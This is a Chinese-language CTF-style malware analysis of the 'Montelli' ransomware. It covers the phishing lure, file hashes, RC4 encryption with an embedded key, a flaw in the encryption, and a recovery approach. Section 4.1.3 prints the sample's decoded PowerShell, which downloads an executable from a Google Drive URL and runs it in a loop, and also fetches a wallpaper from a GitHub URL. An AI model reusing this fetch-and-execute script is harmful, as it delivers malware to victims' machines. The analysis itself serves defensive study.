1.背景
该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。
伪造Microsoft 365官网
受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)
远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png
定制图片
在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。
翻译:
噢,不!你的文件被劫持了!
亲爱的极其不幸的电脑用户,
我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!
如何恢复它们?
不要害怕,我亲爱的用户,
你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥
发送1337$到此Pl网络地址,否则您的所有数据将被删除!!
2.恶意文件基础信息
2.1 加密器基本信息
文件名 | office64 |
---|---|
编译器 | Microsoft Visual C/C++(19.36.34435)[LTCG/C++] |
大小 | 300 KB |
操作系统 | Windows(Vista)[AMD64, 64位, Console] |
架构 | 386 |
模式 | 64 位 |
类型 | EXEC |
字节序 | LE |
MD5 | b7da7b88697e543da7c734ff276b5fe2 |
SHA1 | 0f9429137d002162c3cf00df80ff352333a715da |
SHA256 | 09faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3 |
3.加密后文件分析
3.1威胁分析
病毒家族 | Montelli |
---|---|
首次出现时间/捕获分析时间 | 2025/02/28 || 2025/03/7 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .Montelli |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
文件名
具体内容:
加密文件名特征:
加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli
加密算法:
文件加密使用rc4算法,密钥嵌入加密器中。
rc4密钥生成:
KEY:
1 |
|
程序执行流程:
4逆向分析
4.1加密器逆向分析
4.1.1RC4_KSA函数
根据rc4密钥初始化s数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 |
|
4.1.2RC4加密函数
根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题
加密存在BUG:
在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
|
4.1.3壁纸替换函数
将自带的字符串解码后并执行
解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸
$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png" \r\n $desktopPath = [Environment]::GetFolderPath("Desktop") \r\n $outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png" \r\n Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile \r\n Add-Type -TypeDefinition @" \r\n using System; \r\n using System.Runtime.InteropServices; \r\n public class Wallpaper { \r\n [DllImport("user32.dll", CharSet = CharSet.Auto)] \r\n public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); \r\n public const int SPI_SETDESKWALLPAPER = 0x0014; \r\n public const int SPIF_UPDATEINIFILE = 0x01; \r\n public const int SPIF_SENDCHANGE = 0x02; \r\n } \r\n "@ \r\n\r\n [Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE) \r\n\r\n $executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa" \r\n $tempFilePath = "$env:TEMP\\run.exe" \r\n if (-Not (Test-Path $tempFilePath)) { \r\n Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath \r\n} \r\n \r\n while ($true) { \r\n # Start the process \r\n $process = Start-Process -FilePath $tempFilePath -PassThru \r\n \r\n # Wait for the process to exit \r\n $process.WaitForExit() \r\n \r\n # Optional delay before restarting \r\n Start-Sleep -Seconds 0 \r\n}
将这个写入C:\\Users\\username\\dosomething.ps1
并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码
1 |
|
4.1.4文件遍历
调用api遍历文件
判断后缀是否为.Montelli
加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容
删除原文件
4.1.5多线程启动加密
使用多线程异步执行加密
5.恢复脚本制作
恢复思路如下:调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_
对加密文件解密。
但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
|
6.病毒分析概览
本案例中,Montelli勒索软件因硬编码密钥暴露(FLAG{s1mpl3_3nCrYpt1on_
)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。